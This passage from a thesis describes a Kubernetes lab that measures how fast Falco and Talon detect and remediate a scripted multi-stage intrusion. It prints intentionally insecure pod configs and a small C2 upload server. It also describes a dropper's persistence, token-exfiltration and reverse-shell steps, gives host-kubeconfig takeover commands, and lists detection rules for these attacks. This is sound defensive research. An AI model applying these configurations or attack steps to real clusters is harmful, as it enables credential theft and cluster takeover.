a brief cryptomining phase to model impact. A minimal in-cluster payload-server
acts as C2, hosting artifacts and receiving exfiltrated samples. Each stage is
instrumented to emit observable signals that the detection plane can capture
and the response plane can act upon.

Single Kubernetes node (Minikube)

Jupyter (entrypoint)
no auth, privileged, cluster-admin bind

attack-sim (dropper)
privileged, unconfined, host mounts

payload-server (C2)
serves payloads, receives exfil

Falco
eBPF / runtime detection

Falco Sidekick
alert forwarder (HTTP / NATS)

Falco Talon
auto-remediation (label, NP, capture, terminate)

exec & launch dropper

fetch payloads & exfil

signals

signals

signals
alerts

forward

Kubelet, CRI runtime, CNI datapath

Figure 3: Single-node lab: adversary flow (solid) and detection/response (dashed).
All Pods co-reside for deterministic timing. Falco observes runtime signals, Falco
Sidekick forwards alerts, and Falco Talon executes Kubernetes-native actions.

Figure 3 summarizes the topology. The vulnerable Jupyter pod stages the
attack-sim pod, which retrieves payloads and communicates with the in-cluster
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payload-server. Falco runs as a DaemonSet, monitors system calls and Kubernetes
context, raises alerts on suspicious activity, and forwards them via Falco Sidekick
to Falco Talon. Talon consumes alerts and applies automated, Kubernetes-native
responses—labeling, temporary network isolation, short packet capture, and only
when necessary pod termination—thereby closing the loop from detection to
mitigation [10, 12, 14, 13].

3.1.3 Evaluation Plan

The evaluation addresses three questions. First, what is the end-to-end detection-
to-response time, measured as Mean Time To Remediate (MTTR) from Falco
alert emission to Talon action execution, under a realistic multi-stage attack.
Second, for high-severity behaviors such as explicit token reads, C2/exfiltration,
and privileged root filesystem access, how reliably the configured responses
contain the activity without indiscriminate termination. Third, what is the
operational cost of these responses—packet-capture footprint, action error rates,
and any disruption to benign workloads.

MTTR is computed by correlating Falco logs (JSON events) with Talon action
logs across all implicated pods. For each Falco event, the analysis identifies the
first Talon action at or after the event time, preferentially with the same rule
name, and records the time delta in seconds. The reporting includes per-event
MTTR and summary statistics (count, mean, median, p90, max), enabling
rule-level comparisons and before/after tuning studies. Containment and safety
are assessed from Kubernetes state (effective NetworkPolicy objects and pod
labels), Talon artifacts (short pcap files), and action error lines.

The scope focuses on three rigid detections that drive remediation: Python-
based data exfiltration, outbound connections to suspicious C2 ports, and explicit
service-account token reads. Each maps to a deterministic Talon policy such as
egress isolation, brief packet capture, labeling, and optional termination. All
configuration for Falco, Sidekick, and Talon is encoded in Helm values. Actions
are namespaced and labeled for traceability and the single-node setting reduces
variance by avoiding cross-node scheduling effects. Threats to validity include
single-node optimism, kernel/eBPF sensitivity, and the use of scripted adversary
behavior. To mitigate these, the study reports full distributions (median, p90,
max), includes action error logs, and documents chart and kernel versions to
support replication.

3.2 Component Breakdown
This section details the lab’s three custom workloads and how they compose a
realistic intrusion path: (i) an intentionally vulnerable Jupyter entrypoint, (ii) a
minimal payload-server used as command-and-control (C2) for hosting artifacts
and receiving exfiltrated data, and (iii) an attack-sim “dropper” that stages and
executes the multi-stage payload. Concise code snippets illustrate the intended
(mis)configurations and interfaces; full manifests reside in the repository.
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3.2.1 Initial Access Vector: Vulnerable Jupyter Pod

The Jupyter Pod serves as the initial access vector and is deliberately configured
to provide a low friction foothold for interactive command execution and staging
of the dropper. To emulate common operational mistakes, the service is deployed
without authentication, the container runs with elevated privileges, and a cluster-
admin binding is attached to its default service account. These settings create the
necessary preconditions for the attack chain while keeping the scenario controlled
and repeatable.

Notebook servers expose an interactive computing environment with direct
access to files, credentials, and shell commands. When authentication is disabled
or the service is inadvertently exposed, an adversary can obtain remote code
execution in the security context of the Pod. If the Pod also runs privileged,
mounts host paths, or carries permissive Kubernetes RBAC credentials, the
blast radius expands quickly—from data access to node tampering and lateral
movement. Community guidance explicitly warns against disabling tokens and
recommends defense-in-depth controls for multi-tenant deployments [28, 2].
Dockerfile snippet (Jupyter image):

FROM python:3.11-slim
RUN pip install --no-cache-dir jupyter
EXPOSE 8888
# WARNING: no auth/token on purpose (lab only)
CMD ["jupyter", "notebook", "--ip=0.0.0.0", "--port=8888",
"--NotebookApp.token="]

Deployment snippet (privileged):

apiVersion: apps/v1
kind: Deployment
metadata: { name: jupyter }
spec:

template:
spec:

containers:
- name: jupyter

image: lab/jupyter:latest
securityContext:

privileged: true
ports: [{ containerPort: 8888 }]

Binding snippet (cluster-admin):

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata: { name: jupyter-admin }
subjects:
- kind: ServiceAccount
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name: default
namespace: default

roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io

Misconfiguration What it enables Why it matters

Auth disabled (e.g.,
–NotebookApp.token= or pass-
word unset)

Unauthenticated access to web
UI and kernel

Immediate remote code execu-
tion (RCE) as the Notebook
user; trivial lateral movement
if the Pod has mounted creden-
tials [28].

Exposed service (public In-
gress/NodePort; no TLS)

Session hijack / token leakage;
MITM

Attackers reuse stolen cookies/-
tokens; credentials and data
in transit are exposed without
TLS [28].

Overly permissive CORS /
origins (e.g., allow_origin="*")

Cross-site request tricks against
the Notebook API

Drive-by execution via a mali-
cious page that talks to the lo-
cal Notebook server [28].

Runs as root and/or
securityContext.privileged:
true

Kernel / filesystem tampering
inside the container

Escalates impact of any Note-
book RCE; pairs dangerously
with host mounts.

Broad RBAC or default SA
tokens mounted

Kubernetes API abuse from the
Notebook kernel

Attacker can list/create re-
sources or read Secrets depend-
ing on RBAC; enables cluster
takeover paths.

HostPath or sensitive
volume mounts (e.g.,
/var/run/docker.sock, node
rootfs)

Access to host or other tenants’
data

Breaks isolation; enables
container-escape primitives and
node manipulation.

No idle culling / session sprawl Abandoned live kernels with
credentials in memory

Long-lived attack surface and
secret residue in kernel memory
/ outputs.

No egress controls (NetworkPol-
icy)

Unrestricted data exfiltration /
C2

Easy outbound beacons and ex-
fil from the Notebook Pod; ham-
pers incident containment.

Table 9: Common Jupyter Notebook misconfigurations and why they are risky
(selected).
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3.2.2 Command and Control: payload-server

The payload-server provides a minimal in-cluster command-and-control end-
point. It hosts binaries and scripts required by the dropper and accepts exfiltrated
artifacts over HTTP, reflecting how adversaries commonly disguise C2 traffic
amidst routine egress using ubiquitous protocols. This design allows the experi-
ment to elicit deterministic process, file, and network signals while remaining
simple enough to reason about the detection–to–response timeline. The imple-
mentation aligns with the MITRE ATT&CK Command and Control tactic and
mirrors behaviors reported in recent Kubernetes-focused campaigns [26, 25, 9].

Dockerfile snippet (payload-server):

FROM python:3.11-slim
WORKDIR /app
COPY server.py /app/server.py
EXPOSE 8080 4444 7456
CMD ["python", "/app/server.py"]

Minimal HTTP server (snippet):

from http.server import BaseHTTPRequestHandler, HTTPServer
import cgi, os

UPLOAD_DIR = "/app/uploads"
os.makedirs(UPLOAD_DIR, exist_ok=True)

class H(BaseHTTPRequestHandler):
def do_POST(self):

form = cgi.FieldStorage(fp=self.rfile, headers=self.headers,
environ={'REQUEST_METHOD':'POST',
'CONTENT_TYPE':
self.headers.get('Content-Type')})

f = form['file'] if 'file' in form else None
if f and getattr(f, "filename", None):

out_path = os.path.join(UPLOAD_DIR,
os.path.basename(f.filename))
with open(out_path, "wb") as out:

out.write(f.file.read())
self.send_response(200)
self.end_headers()
self.wfile.write(b"OK")

HTTPServer(("0.0.0.0", 8080), H).serve_forever()
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3.2.3 The Dropper: attack-sim Pod

The attack-sim Pod operates as a classic dropper. Its function is to fetch
second-stage artifacts from the C2, stage them on disk, and execute a scripted
sequence that exercises persistence, evasion, container-escape attempts, discovery,
C2/exfiltration, and impact behaviors. Droppers are intentionally small programs
that place or retrieve payloads, occasionally modifying preload files or installing
cron entries to persist. Modeling this role inside a Pod is realistic for Kubernetes,
where many intrusions begin with code execution in an application container
and proceed by staging tooling over ordinary HTTP/HTTPS egress [30]. In the
lab, the dropper runs with broad privileges and a host root filesystem mount to
make escape attempts and host interaction observable and repeatable, without
depending on brittle environmental conditions.

Dockerfile fragment (dropper):

FROM debian:12-slim
RUN apt-get update && apt-get install -y curl bash python3 iproute2
COPY dropper.sh /usr/local/bin/dropper.sh
CMD ["/usr/local/bin/dropper.sh"]

Deployment fragment (privileged, host mount):

spec:
template:

spec:
hostPID: true
volumes:
- name: rootfs

hostPath: { path: /, type: Directory }
containers:
- name: attack-sim

image: lab/attack-sim:latest
securityContext:

privileged: true
allowPrivilegeEscalation: true

volumeMounts:
- { name: rootfs, mountPath: /host }

3.2.4 Attacker script

The multistage behavior is orchestrated by a single shell script (run.sh). Each
step resembles common post-compromise actions in containerized environments
and is chosen to emit observable runtime signals that a syscall/eBPF engine
(Falco) can raise and that the response plane (Talon) can act upon. The objective
is controlled stress-testing of the detect–respond loop under realistic conditions
rather than stealth or completeness.
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Table 10 enumerates each concrete action performed by the script, the tactic
or intent it represents, and its operational significance in Kubernetes settings.
Table 10: Actions executed by the payload and their operational significance.

Behavior Intent / tactic Operational significance / likely impact

Remove immutable flags
from tools (e.g., mchattr
-ia, mchmod +x)

Defense evasion Disables filesystem protections on utilities such
as chmod/chattr, enabling later tampering and
persistence without being blocked.

Delete & recreate
/etc/ld.so.preload with
hook.so; set immutable
(chattr +i)

Persistence /
Evasion

Forces arbitrary shared object loading into all
dynamically linked processes. Enables API
hooking, hiding, or keylogging; the immutable
flag makes removal harder and is typically high-
severity.

Stage binaries (xmx2,
cc.py) into writable path
(/usr/sbin or /tmp) and
mark executable

Execution prep Guarantees the rest of the chain can run re-
gardless of base image constraints; explicates
attacker TTP of relocating tooling into common
paths.

Install cron persis-
tence (@reboot xmx2
–config=config.json)

Persistence Survives container restarts if local scheduler
state persists; in pods with writable layers this
yields automatic re-arming post-reboot.

Attempt legacy escape
(noumt with timeout)

Privilege escala-
tion / Escape

Probes for outdated host protections; even failed
attempts are valuable signals for detection.

Direct host access via
chroot /host and write
proof file under /host/tmp

Privilege escala-
tion / Escape

Confirms host rootfs mount and breaks container
isolation; enables tampering with node files and
lateral movement.

Read K8s service
account token from
/var/run/secrets/kuber-
netes.io/serviceaccount/token

Credential access Obtains bearer token tied to the pod’s service
account; scope depends on RBAC and can range
from read-only to cluster-admin.

HTTP exfiltration of
token to C2 (Python
requests POST to
payload-server:8080) with
retries and DNS fallback

Exfiltration / C2 Demonstrates how credentials leave the cluster
quickly; mappable to egress controls, DLP, or
runtime rules on suspicious HTTP flows.

Collect environ-
ment secrets; append
˜/.kube/config if present

Discovery / Cre-
dential access

Harvests keys and kubeconfig that are frequently
present in data-science or ops pods; expands the
attack surface beyond a single namespace.

Scan C2 for open ports
{8080, 4444, 7456} (Python
sockets with short time-
outs)

Discovery Produces deterministic network telemetry and
validates C2 service reachability; benign lookups
vs. active scan can be differentiated by policy.

Attempt reverse shells
(Bash TCP to 4444;
Python socket to 7456)

C2 / Remote
control

Creates outbound, interactive control channels
that are often missed by coarse egress rules;
good target for Talon isolation.

Symlink trick to
/etc/shadow (create link
and coerce read)

Credential access
/ Evasion

Abuses tool behavior to read sensitive files indi-
rectly; signals both intention and misconfigura-
tion if successful.

Execute /tmp/a.py (really
cat) to masquerade as a
script

Defense evasion Shows simple process-name deception to bypass
naïve detections that key on file extensions or
binary names.

Clear shell history
(cat /dev/null >
˜/.bash_history; history
-c)

Defense evasion Removes local operator traces; typical cleanup
step after credential theft or staging.
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Table 10 (continued)
Behavior Intent / tactic Operational significance / likely impact

Run short-lived cryp-
tominer (timeout -k 2
15 xmx2) with config

Impact (resource
theft)

CPU-bound process with distinct network pat-
terns; intentionally time-boxed to generate crisp
detections without long disruption.

In sequence, the payload first establishes conditions for persistence and
concealment (immutable-flag manipulation and dynamic libraries tampering),
then probes isolation boundaries (legacy and direct escape attempts), harvests
credentials and environment data, and transfers material to an external endpoint
via HTTP exfiltration and reverse shells. It concludes with a short, CPU-intensive
cryptomining phase whose signatures are intentionally obvious. This attack path
supports precise correlation between Falco alerts and Talon actions at multiple
points in the kill chain and enables measurement of detection-to-response latency
across heterogeneous behaviors.

3.3 Detection and Response Implementation
This section details the implementation that connects runtime detection to auto-
mated, Kubernetes-native response. Falco generates alerts from eBPF-observed
kernel/syscall activity enriched with Kubernetes context, Falcosidekick forwards
those alerts, and Falco Talon applies actions (labels, temporary egress isolation
via NetworkPolicy, short packet captures, and—when necessary—pod termina-
tion). The section also describes how Helm was used to deploy, parameterize,
and iterate on this stack reproducibly.

3.3.1 Helm-Based Deployment Overview

Helm is Kubernetes’ de facto package manager: it bundles manifests and tem-
plates into versioned charts, exposes configuration through a values.yaml, and
performs installs and upgrades as named releases. In the present setting, Helm
provides three concrete advantages: reproducibility (pinned chart versions and
values committed to Git), rapid iteration (tuning Falco/Talon behavior through
values without editing raw YAML), and clean teardown (single-command unin-
stall) [29].

All detection and response components were installed into a dedicated names-
pace (e.g., falco) as separate Helm releases. Custom Falco rules and Talon
rulebooks were supplied via chart file mounts. Releases were pinned to spe-
cific chart/application versions to maintain stability across runs and to support
repeatable measurements.
Illustrative Helm commands (namespace and releases):

# 1) Namespace and repositories
kubectl create ns falco
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
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# 2) Falco + Falcosidekick (values provide driver, JSON output, and
sidekick sink)
helm upgrade --install falco falcosecurity/falco \

--namespace falco \
--version <pinned-chart-version> \
--values values-falco.yaml

# 3) Falco Talon (receives Falco events and applies K8s actions)
helm upgrade --install falco-talon falcosecurity/falco-talon \

--namespace falco \
--version <pinned-chart-version> \
--values values-talon.yaml

The values-falco.yaml file enables the modern-bpf driver, JSON output,
and mounts a ConfigMap with custom-rules.yaml. The values-talon.yaml
file points Talon to the Sidekick endpoint and references a rulebook that maps
Falco rule names to actions. Because these choices are parameterized, upgrades
(e.g., priorities, thresholds, or action parameters) are applied safely with helm
upgrade.

3.3.2 Runtime Detection with Falco

Falco was deployed with the modern eBPF driver to avoid kernel module builds
and to simplify portability on Minikube. JSON output was enabled so the
human-readable output field appears in logs, facilitating correlation with Talon
actions.
Falco values (snippet):

falco:
driver:

kind: modern-bpf
jsonOutput: true
jsonIncludeOutputProperty: true
timeFormatISO8601: true
priority: debug
httpServer:

enabled: true
listenPort: 8765

# Load upstream rules then our custom set (mounted by the chart)
rules_files:

- /etc/falco/falco_rules.yaml
- /etc/falco/falco_rules.local.yaml
- /etc/falco/rules.d/custom-rules.yaml

falcosidekick:
enabled: true
config:
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talon:
hostport: "http://falco-talon.falco.svc.cluster.local:2803"
endpoint: "/falco"
minimumpriority: "Notice"

debug: true

While upstream rules provide broad coverage, the objective here is to obtain
deterministic detections that tie directly to the scripted behaviors in Section 3.2.4
and drive predefined Talon actions. Custom rules reduce ambiguity (for example,
by matching the exact paths used by the payload), ensure rule names remain
stable as join keys, and include Kubernetes context (pod name and namespace)
to scope the response precisely.

The following snippet shows some of the custom rule used; full logic resides
in the repository.

- rule: ServiceAccount token read detected
desc: Read of pod's SA token (credential access).
condition: evt.type in (open,openat) and fd.name endswith

/var/run/secrets/kubernetes.io/serviceaccount/token
output: "K8s service account token read (cmd=%proc.cmdline
file=%fd.name pod=%k8s.pod.name)"
priority: Error
tags: [mitre_credential_access, T1552, kubernetes]

- rule: Data Exfiltration via Python
desc: Python process performing HTTP POST to C2 host:port
condition: evt.type=sendto and proc.name=python* and
fd.sip!=127.0.0.1 and fd.sport in (8080)
output: "Python exfil (dest=%fd.sip:%fd.sport cmd=%proc.cmdline
pod=%k8s.pod.name)"
priority: Critical
tags: [mitre_exfiltration, T1041, kubernetes]

- rule: Container Escape via Chroot
desc: chroot invoked toward a host-mounted rootfs path
condition: evt.type=chroot and (evt.arg.path startswith /host or
fd.name startswith /host)
output: "Container escape via chroot (path=%evt.arg.path
pod=%k8s.pod.name)"
priority: Critical
tags: [mitre_privilege_escalation, T1611, kubernetes,
container_escape]

- rule: Suspicious LD_PRELOAD Modification
desc: Writes to /etc/ld.so.preload from a container process
condition: evt.type in (open,openat,write) and
fd.name=/etc/ld.so.preload and container.id != host
output: "Suspicious LD_PRELOAD modification (proc=%proc.name
pod=%k8s.pod.name)"
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priority: High
tags: [mitre_defense_evasion, T1574, kubernetes]

- rule: Cryptominer Process Detected
desc: Known miner launch or process name
condition: evt.type=execve and (proc.name in (xmx2, xmrig) or
proc.cmdline contains --algo)
output: "Cryptominer process detected (cmd=%proc.cmdline
pod=%k8s.pod.name)"
priority: Critical
tags: [impact, process, T1496]

Custom Rules Summary
Table 11: Custom Falco rules used in the lab.

Rule Name Priority Description MITRE
TTP

Condition

ServiceAccount token
read detected

Error Pod reads its mounted SA token
(credential access).

T1552 (Cre-
dential Ac-
cess)

open/openat on
SA token path

Data Exfiltration via
Python

Critical Python process exfiltrates data
via HTTP POST to C2.

T1041 (Exfil-
tration)

sendto &
proc.name=python*
& port 8080

Drop & execute new
binary in container

Critical Exec from writable path (/tmp,
/usr/sbin).

TA0003 /
T1059

execve &
proc.exe in
writable dirs

Container Escape via
Chroot

Critical Attempt to chroot into /host
rootfs.

T1611 (Escala-
tion)

chroot path
starts /host

Suspicious
LD_PRELOAD
Modification

High Write to /etc/ld.so.preload. T1574 (De-
fense Evasion)

open/openat/write
on preload file

Quick Port Scan
(Python)

Medium Tight loop TCP connects to
several ports.

T1046 (Dis-
covery)

bursts of
connect to
{8080,4444,7456}

Reverse Shell At-
tempt

High Outbound TCP by bash/python
to control ports.

T1105 (C2) bash/python to
4444/7456

Symlink to
/etc/shadow

High Create symlink to sensitive file. T1555/T1003 fs ops ln -s
/etc/shadow ...

Cryptominer Process
Detected

Critical Known miner binary/flags
(short run).

T1496 (Im-
pact)

execve of
xmx2/xmrig
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3.3.3 Automated Remediation with Talon

Falco emits JSON alerts that Falcosidekick forwards to Talon over HTTP. Talon
evaluates each event against its rulebook and issues Kubernetes actions. This
decoupled design supports independent scaling and simplifies troubleshooting
because each stage logs its own view of the pipeline.

Falco
rule hit (JSON)

Falcosidekick
HTTP forwarder

Falco Talon
action engine

Kubernetes API
labels, NetworkPolicy, etc.

JSON event POST /falco

apply actions

Figure 4: Falco → Falcosidekick → Talon alert flow. Talon applies Kubernetes-
native responses.

Falcosidekick configuration (snippet):

falcosidekick:
enabled: true
config:

talon:
hostport: "http://falco-talon.falco.svc.cluster.local:2803"
endpoint: "/falco"
minimumpriority: "Notice"

# keep other sinks disabled to reduce noise

The response plan favors layered containment over immediate termination.
First, the implicated pod is labeled and its egress is isolated with a scoped
NetworkPolicy to halt C2 and exfiltration while preserving state. Second,
a short packet capture is collected for basic forensics. Third, termination is
reserved for behaviors that remain dangerous (e.g., repeated escape attempts).
This approach mirrors common SLOs: minimize exposure, retain evidence, and
avoid unnecessary disruption.

Talon matches on Falco rule names and composes actions accordingly, in
alignment with Table 11.

Talon rules (snippet):

rules:
- name: exfiltration-via-python

match:
falco_rule: "Data Exfiltration via Python"

actions:
- type: label.add

params: { key: "suspect", value: "exfil" }
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- type: networkpolicy.isolate-egress
params:

allow_dns: true
duration_seconds: 300

- type: capture.tcpdump
params:

seconds: 5
out: "/artifacts/pcaps/${namespace}/${pod}/${ts}.pcap"

- name: sa-token-read
match:

falco_rule: "ServiceAccount token read detected"
actions:

- type: label.add
params: { key: "suspect", value: "cred-access" }

- type: networkpolicy.isolate-egress
params: { allow_dns: false, duration_seconds: 600 }

- name: container-escape-chroot
match:

falco_rule: "Container Escape via Chroot"
actions:

- type: label.add
params: { key: "suspect", value: "escape" }

- type: capture.tcpdump
params: { seconds: 5, out:
"/artifacts/pcaps/${ns}/${pod}/${ts}.pcap" }

- type: pod.terminate
params: { grace_period_seconds: 2 }

The isolation NetworkPolicy is generated with default-deny egress and an op-
tional DNS allowlist so that core cluster services are not disrupted unintentionally.
Packet captures are time-bounded and written to a writable path on the Talon
pod (for example, an emptyDir or a PVC). Labels such as suspect={exfil,
escape, cred-access} assist subsequent triage and audit.

With Falco emitting alerts that include timestamps and Talon logging action
execution times, the MTTR tool correlates each Falco event with the first subse-
quent Talon action (preferring same-rule matches within a short horizon) and
computes per-event deltas alongside summary statistics (count, mean, median,
p90, max). These rule-level timings support before/after tuning experiments
(e.g., Sidekick queueing, Talon concurrency, rule selectivity) without introducing
measurement bias into the control plane.
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3.4 Context and Comparison to Proactive Response Liter-
ature

This work measures how fast a reactive pipeline moves from a concrete runtime
signal to a Kubernetes–native mitigation. In contrast, recent systems explore
proactive strategies that anticipate an adversary’s next step and select mitigations
before harm materializes. The findings are situated among three representative
efforts: WARP (risk prediction over ATT&CK transitions), ACE–WARP (cost–
aware planning atop WARP’s predictions), and ProSPEC (shift–left verification
for low–latency runtime policy enforcement) [5, 6, 17].

Our evaluation adopts a single primary metric, Mean Time To Remediate
(MTTR), defined as the time delta between Falco alert emission and Talon action
execution (Section 4). In repeated runs we observe median per-rule MTTRs on
the order of one to a few seconds, and low p90 values for the high-risk behaviors
targeted by our actions (token read, C2/exfiltration, short-lived cryptominer).
These latencies are consistent with human-in-the-loop operational targets for
cutting off data egress or active command-and-control (C2) during incident
response.

Proactive systems target a different goal: interdiction probability under cost
constraints. WARP asks, “given observed signals, which step is the adversary
likely to take next, and what non-disruptive action should be taken now?”
[5]. ACE–WARP asks, “among feasible mitigations, which plan maximizes risk
reduction while respecting service SLOs (Service Level Objectives) and resource
budgets?” [6]. Consequently, they report metrics such as fraction of attacks
mitigated and cost/latency overheads of their selected plans, not detection-to-
action latencies per se.

Operationally, the pipeline in this thesis acts after a high-confidence signal
and clamps down within seconds (label + egress isolation + short capture, with
termination as a last resort). Proactive approaches may move or constrain a
workload before the next step materializes (e.g., preemptively migrating a pod or
tightening egress for a tenant slice), thereby shrinking the window in which an
attacker can execute follow-on actions. These are complementary: a proactive
planner can narrow the attack surface ahead of time, while a low-MTTR reactive
path contains whatever slips through.

WARP/ACE–WARP assume access to labeled runtime signals (often mapped
to ATT&CK), a reasonably stable transition structure between tactics, and in
ACE–WARP explicit cost models (e.g., delay budgets, migration costs, tenant
weights) [5, 6]. ProSPEC presumes that policy decisions and dependency checks
can be precomputed and cached with sufficient fidelity to make runtime gating
fast [17]. The lab here assumes neither predictive models nor precomputation:
it relies on high-precision Falco rules and Kubernetes-native actions that are
auditable and operationally simple.
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Table 12: Reactive (this work) versus proactive systems (papers): scope, decision
core, mitigations, evaluation, and reported outcomes.

System Decision core Mitigation palette Primary met-
ric

Evaluation

This lab
(Falco →
Talon)

Reactive: alert → rule–
to–action mapping; no
prediction; K8s API
only

Label pod; apply egress–
deny NetworkPolicy;
brief tcpdump; terminate
(last resort)

MTTR (detec-
tion → action,
per rule)

Single–node
K8s; scripted
multi–stage
payload; re-
peated runs;
distributions
(median/p90)

WARP [5] Bayesian risk over
ATT&CK transitions
learned from labeled
signals; thresholded
triggering

Non–disruptive: live
migration; scoped egress
restrictions; policy tight-
ening prior to next step

Interdiction
rate under
risk thresholds;
impact on
continuity

K8s testbed;
adversary sce-
narios; com-
pares mitiga-
tion timing
vs. attacker
progress

ACE–
WARP [6]

Prediction from WARP
plus multi–objective
optimizer (threat re-
duction vs. delay/over-
head)

Tenant–aware plans:
which pods to move;
which flows to restrict;
policy choices under
SLOs

Cost–aware
interdiction:
threat reduc-
tion subject to
SLO budgets

K8s testbed;
compares opti-
mizer against
baselines and
general solvers;
reports efficacy
and cost

ProSPEC [17] Shift–left: precompute
verification/dependen-
cies; runtime is a cache
lookup

Policy enforcement with
prevalidated decisions;
deny risky operations at
admission/runtime

Decision
latency at
runtime (post–
precomputation)

Container/K8s
prototypes;
reports near
constant–time
checks with
offline precom-
putation

By instrumenting end-to-end MTTR with rule-level breakdowns and publish-
ing the exact detection/response logic, the lab provides a concrete service-level
view of what a modern, eBPF-backed reactive pipeline can deliver on commodity
clusters. These measurements help bound the residual risk even in the presence
of proactive measures: if a planner chooses not to migrate or quarantine pre-
emptively (to preserve SLOs), the data here show what containment speed can
be expected should a signal later fire.

Taken together, these results suggest a layered architecture: (i) hard guardrails
whose runtime decision cost is near zero (ProSPEC-style validation, admission
control), (ii) fast reactive containment for crisp, high severity signals (this lab’s
low-MTTR actions), and (iii) proactive planners (WARP/ACE–WARP) that
selectively move or constrain workloads when predicted risk is high but uncer-
tainty or cost trade-offs argue against immediate blocking. The empirical MTTR
reported here bounds the residual exposure when (ii) is the controlling mode
and provides a measurable contract for integrating (i) and (iii) over time.
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4 Experimental Results and Analysis
This section validates that the lab pipeline, from adversary activity to automated
mitigation, behaves as designed. The evaluation (i) reproduces the multistage
attack, (ii) verifies that each stage yields observable runtime signals, (iii) confirms
that alerts are transported and trigger Talon actions, and (iv) analyzes end-to-end
latency (Falco detection → Talon response, MTTR) and safety.

4.1 Attack Execution and Verification
The intrusion scenario is executed end-to-end and instrumented at each stage.
The walkthrough explains what each command does, why the action is meaningful
in an intrusion, and how success is verified both locally in the Notebook and via
runtime detections (Falco) and responses (Talon).

We assume an adversary lands in a misconfigured Notebook Pod (no au-
thentication, privileged, broad RBAC). The near-term goals are to perform
reconnaissance, break the container boundary to reach the underlying node
(escape), acquire credentials, and then control cluster resources or exfiltrate
data (impact). The lab reproduces these behaviors deterministically to evaluate
detection and response timing.

The intrusion begins with reconnaissance: confirming container identity and
whether the Pod has a view of the host filesystem. Reconnaissance reveals which
protections are present and whether escape is likely (e.g., a host root filesystem
mount is a strong signal of risk). Verification is performed by printing identity
information and reading host OS evidence in the Notebook.

!whoami # container user
!id # uid/gid, capabilities if visible
!ls /host # is the host rootfs mounted under /host?
!cat /host/etc/os-release # which host OS is this?

Next, the scenario collapses isolation by reading the host’s kubeconfig (cluster
admin on a single-node testbed) exposed via a hostPath mount. The kubeconfig
is a high-value credential. If accessible, the container boundary has effectively
collapsed into node privileges. Verification consists of demonstrating that the
file is readable and that we can use kubectl commands using it.

!cat /host/etc/kubernetes/admin.conf

Misconfiguration exploited: The Pod is both securityContext.privileged:
true and mounts hostPath: / (the node’s root). In combination, these negate
container isolation and make host files (including sensitive Kubernetes credentials)
accessible.

Using the host kubeconfig, the adversary deploys the attacker infrastructure:
a second Pod (attack-sim) that runs the multi-stage payload. This demonstrates
how host-level credentials are immediately usable for cluster control. Verification
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is that the Pod reaches Running and that its behavior is subsequently observed
by Falco/Talon.

%%bash
cat <<EOF > attack-sim-pod.yaml
apiVersion: v1
kind: Pod
metadata:

name: sim-pod
namespace: default
labels:

app: attack-sim
annotations:

container.apparmor.security.beta.kubernetes.io/attack-sim:
unconfined

spec:
containers:
- name: attack-sim

image: attack-sim:latest
imagePullPolicy: Never
securityContext:

privileged: true
runAsUser: 0
capabilities:

add: ["ALL"]
seccompProfile:

type: Unconfined
env:
- name: PAYLOAD_SERVER

value: "payload-server.default.svc.cluster.local"
- name: PAYLOAD_SERVER_PORT

value: "8080"
volumeMounts:
- name: docker-sock

mountPath: /var/run/docker.sock
- name: host-fs

mountPath: /host
volumes:
- name: docker-sock

hostPath:
path: /var/run/docker.sock

- name: host-fs
hostPath:

path: /
EOF

# stage on the host and apply with host credentials
!cp attack-sim-pod.yaml /host/tmp/
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!kubectl --kubeconfig=/host/etc/kubernetes/admin.conf apply -f
/host/tmp/attack-sim-pod.yaml

Misconfiguration exploited. The default ServiceAccount is bound to cluster-
admin, allowing full API control from the foothold. Combined with exposed
host kubeconfig, this enables immediate cluster takeover.

Figure 5: Notebook evidence for reconnaissance and host access: host OS
identification, host filesystem visibility, and successful use of host kubeconfig.

The multi-stage payload is then executed inside sim-pod by invoking run.sh.
The script performs persistence, evasion, attempted escape, discovery, C2/exfiltration,
and a short cryptominer run. Each step is chosen to emit distinct runtime signals
(system-call and file/network activity) that a production sensor should detect.
Success criteria are stage banners in the console, Falco rule hits, and Talon
actions being applied.

# inside sim-pod
./run.sh
# ...
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Figure 6: Selected run.sh output showing stage banners and success markers
used to align with Falco/Talon logs.
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Table 14 maps a subset of visible actions to the typical Falco alerts and Talon
responses they trigger. (Full coverage appears later in Table 15.)
Table 14: Reader’s map: a few visible actions, the alert to expect, and the
automatic response applied.

Visible action in the lab Typical Falco alert (sum-
mary)

Talon response (ex-
ample)

Read service-account token file K8s Token Read by Shell or
Script

Label Pod; short
tcpdump capture

Post token to HTTP C2
(payload-server:8080)

Exfiltration via Python / Suspi-
cious egress

Apply egress-isolating
NetworkPolicy

Attempt chroot /host and touch
proof under /host/tmp

Container Escape via Chroot Label Pod; short
tcpdump capture

Launch short-lived cryptominer
(xmx2)

Cryptominer Process Detected Label Pod; optionally
terminate

4.2 Detection Validation
Runtime detection is validated by showing that every scripted behavior produces
at least one Falco alert with appropriate Kubernetes context. In the lab, Falco
(using the modern eBPF driver) observes system calls and file/network activity
from containers and the host, enriches each event with Kubernetes metadata
(pod, namespace, image), and emits a structured JSON record. Falcosidekick
receives Falco’s JSON and relays it to downstream sinks, including Falco Talon
for automated response; its UI provides a live view of inbound alerts and delivery
status.

Figure 7: Falcosidekick UI showing live Falco events and forwarding to Talon.
Each row corresponds to a Falco rule hit with Kubernetes context (pod, names-
pace).

For each scripted action, detection is deemed successful if at least one Falco
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event matching the intended rule appears during the run. Some rules are
upstream (canonical Falco) and others are custom rules authored for this workload
(e.g., precise matching on /etc/ld.so.preload). Because multiple actions can
fire nearly simultaneously, events are correlated by timestamps and rule names
with tolerance for sub-second jitter between Notebook output and Falco event
times.

Table 15 summarizes coverage. All fifteen scripted actions were detected at
least once per run. The middle column gives the indicative rule (canonical or
custom) that matched; “Detected = Yes” indicates at least one JSON event was
observed and forwarded by Falcosidekick.

Table 15: Detection coverage for the scripted behaviors.

Behavior (from payload) Falco rule (name or summary) Detected

Remove immutable flags
(mchattr -ia, mchmod +x)

File Attribute Modification (cus-
tom: evt.arg.flags contains
CHATTR)

Yes

Tamper /etc/ld.so.preload
(remove/add)

Suspicious LD_PRELOAD Modifi-
cation (path=/etc/ld.so.preload)

Yes

Stage binaries into /usr/sbin or
/tmp

Drop and execute new binary in
container

Yes

Create cron persistence (@reboot
xmx2)

Modify Cron Jobs or crontab (cus-
tom)

Yes

Attempt legacy escape (noumt) Privileged Pod with Root Filesys-
